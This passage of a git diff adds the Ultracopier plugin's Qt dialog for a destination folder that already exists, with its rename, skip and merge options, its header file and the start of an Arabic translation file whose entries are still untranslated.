--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/FolderExistsDialog.cpp
@@ -0,0 +1,199 @@
+#include "FolderExistsDialog.h"
+#include "ui_folderExistsDialog.h"
+#include "TransferThread.h"
+
+#include <QMessageBox>
+#include <QFileInfo>
+#include <QMessageBox>
+
+FolderExistsDialog::FolderExistsDialog(QWidget *parent,QFileInfo source,bool isSame,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule) :
+ QDialog(parent),
+ ui(new Ui::folderExistsDialog)
+{
+ Qt::WindowFlags flags = windowFlags();
+ #ifdef Q_OS_LINUX
+ flags=flags & ~Qt::X11BypassWindowManagerHint;
+ #endif
+ flags=flags | Qt::WindowStaysOnTopHint;
+ setWindowFlags(flags);
+
+ ui->setupUi(this);
+ action=FolderExists_Cancel;
+ oldName=TransferThread::resolvedName(destination);
+ ui->lineEditNewName->setText(oldName);
+ ui->lineEditNewName->setPlaceholderText(oldName);
+ ui->label_content_source_modified->setText(source.lastModified().toString());
+ ui->label_content_source_folder_name->setText(source.fileName());
+ QString folder=source.absolutePath();
+ if(folder.size()>80)
+ folder=folder.mid(0,38)+"..."+folder.mid(folder.size()-38);
+ ui->label_content_source_folder->setText(folder);
+ if(ui->label_content_source_folder_name->text().isEmpty())
+ {
+ ui->label_source_folder_name->hide();
+ ui->label_content_source_folder_name->hide();
+ }
+ if(isSame)
+ {
+ this->destinationInfo=source;
+ ui->label_source->hide();
+ ui->label_destination->hide();
+ ui->label_destination_modified->hide();
+ ui->label_destination_folder_name->hide();
+ ui->label_destination_folder->hide();
+ ui->label_content_destination_modified->hide();
+ ui->label_content_destination_folder_name->hide();
+ ui->label_content_destination_folder->hide();
+ }
+ else
+ {
+ this->destinationInfo=destination;
+ this->setWindowTitle(tr("Folder already exists"));
+ ui->label_content_destination_modified->setText(destination.lastModified().toString());
+ ui->label_content_destination_folder_name->setText(destination.fileName());
+ QString folder=destination.absolutePath();
+ if(folder.size()>80)
+ folder=folder.mid(0,38)+"..."+folder.mid(folder.size()-38);
+ ui->label_content_destination_folder->setText(folder);
+ if(ui->label_content_destination_folder_name->text().isEmpty())
+ {
+ ui->label_destination_folder_name->hide();
+ ui->label_content_destination_folder_name->hide();
+ }
+ }
+ this->firstRenamingRule=firstRenamingRule;
+ this->otherRenamingRule=otherRenamingRule;
+ on_SuggestNewName_clicked();
+}
+
+FolderExistsDialog::~FolderExistsDialog()
+{
+ delete ui;
+}
+
+void FolderExistsDialog::changeEvent(QEvent *e)
+{
+ QDialog::changeEvent(e);
+ switch (e->type()) {
+ case QEvent::LanguageChange:
+ ui->retranslateUi(this);
+ break;
+ default:
+ break;
+ }
+}
+
+QString FolderExistsDialog::getNewName()
+{
+ if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
+ return "";
+ else
+ return ui->lineEditNewName->text();
+}
+
+void FolderExistsDialog::on_SuggestNewName_clicked()
+{
+ QFileInfo destinationInfo=this->destinationInfo;
+ QString absolutePath=destinationInfo.absolutePath();
+ QString fileName=TransferThread::resolvedName(destinationInfo);
+ QString suffix=QStringLiteral("");
+ QString destination;
+ QString newFileName;
+ //resolv the suffix
+ if(fileName.contains(QRegularExpression(QStringLiteral("^(.*)(\\.[a-z0-9]+)$"))))
+ {
+ suffix=fileName;
+ suffix.replace(QRegularExpression(QStringLiteral("^(.*)(\\.[a-z0-9]+)$")),QStringLiteral("\\2"));
+ fileName.replace(QRegularExpression(QStringLiteral("^(.*)(\\.[a-z0-9]+)$")),QStringLiteral("\\1"));
+ }
+ //resolv the new name
+ int num=1;
+ do
+ {
+ if(num==1)
+ {
+ if(firstRenamingRule.isEmpty())
+ newFileName=tr("%1 - copy").arg(fileName);
+ else
+ {
+ newFileName=firstRenamingRule;
+ newFileName.replace(QStringLiteral("%name%"),fileName);
+ }
+ }
+ else
+ {
+ if(otherRenamingRule.isEmpty())
+ newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
+ else
+ {
+ newFileName=otherRenamingRule;
+ newFileName.replace(QStringLiteral("%name%"),fileName);
+ newFileName.replace(QStringLiteral("%number%"),QString::number(num));
+ }
+ }
+ destination=absolutePath+QDir::separator()+newFileName+suffix;
+ destinationInfo.setFile(destination);
+ num++;
+ }
+ while(destinationInfo.exists());
+ ui->lineEditNewName->setText(newFileName+suffix);
+}
+
+void FolderExistsDialog::on_Rename_clicked()
+{
+ action=FolderExists_Rename;
+ this->close();
+}
+
+void FolderExistsDialog::on_Skip_clicked()
+{
+ action=FolderExists_Skip;
+ this->close();
+}
+
+void FolderExistsDialog::on_Cancel_clicked()
+{
+ action=FolderExists_Cancel;
+ this->close();
+}
+
+FolderExistsAction FolderExistsDialog::getAction()
+{
+ return action;
+}
+
+bool FolderExistsDialog::getAlways()
+{
+ return ui->checkBoxAlways->isChecked();
+}
+
+void FolderExistsDialog::on_Merge_clicked()
+{
+ action=FolderExists_Merge;
+ this->close();
+}
+
+void FolderExistsDialog::on_lineEditNewName_editingFinished()
+{
+ updateRenameButton();
+}
+
+void FolderExistsDialog::on_lineEditNewName_returnPressed()
+{
+ updateRenameButton();
+ if(ui->Rename->isEnabled())
+ on_Rename_clicked();
+ else
+ QMessageBox::warning(this,tr("Error"),tr("Try rename with using special characters"));
+}
+
+void FolderExistsDialog::on_lineEditNewName_textChanged(const QString &arg1)
+{
+ Q_UNUSED(arg1);
+ updateRenameButton();
+}
+
+void FolderExistsDialog::updateRenameButton()
+{
+ ui->Rename->setEnabled(ui->checkBoxAlways->isChecked() || (!ui->lineEditNewName->text().contains(QRegularExpression("[/\\\\\\*]")) && oldName!=ui->lineEditNewName->text() && !ui->lineEditNewName->text().isEmpty()));
+}
diff --git a/plugins/CopyEngine/Ultracopier/FolderExistsDialog.h b/plugins/CopyEngine/Ultracopier/FolderExistsDialog.h
new file mode 100644
index 0000000..c043f65
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/FolderExistsDialog.h
@@ -0,0 +1,57 @@
+/** \file folderExistsDialog.h
+\brief Define the dialog when file exists
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef FOLDERISSAMEDIALOG_H
+#define FOLDERISSAMEDIALOG_H
+
+#include <QDialog>
+#include <QFileInfo>
+#include <QString>
+#include <QDateTime>
+#include <QDir>
+
+#include "Environment.h"
+
+namespace Ui {
+ class folderExistsDialog;
+}
+
+/// \brief to show file exists dialog, and ask what do
+class FolderExistsDialog : public QDialog
+{
+ Q_OBJECT
+
+public:
+ /// \brief create the object and pass all the informations to it
+ explicit FolderExistsDialog(QWidget *parent,QFileInfo source,bool isSame,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule);
+ ~FolderExistsDialog();
+ /// \brief return the the always checkbox is checked
+ bool getAlways();
+ /// \brief return the action clicked
+ FolderExistsAction getAction();
+ /// \brief return the new rename is case in manual renaming
+ QString getNewName();
+protected:
+ void changeEvent(QEvent *e);
+private slots:
+ void updateRenameButton();
+ void on_SuggestNewName_clicked();
+ void on_Rename_clicked();
+ void on_Skip_clicked();
+ void on_Cancel_clicked();
+ void on_Merge_clicked();
+ void on_lineEditNewName_editingFinished();
+ void on_lineEditNewName_returnPressed();
+ void on_lineEditNewName_textChanged(const QString &arg1);
+private:
+ Ui::folderExistsDialog *ui;
+ FolderExistsAction action;
+ QString oldName;
+ QString firstRenamingRule;
+ QString otherRenamingRule;
+ QFileInfo destinationInfo;
+};
+
+#endif // FOLDERISSAMEDIALOG_H
diff --git a/plugins/CopyEngine/Ultracopier/Languages/ar/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/ar/translation.ts
new file mode 100644
index 0000000..3362659
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/ar/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
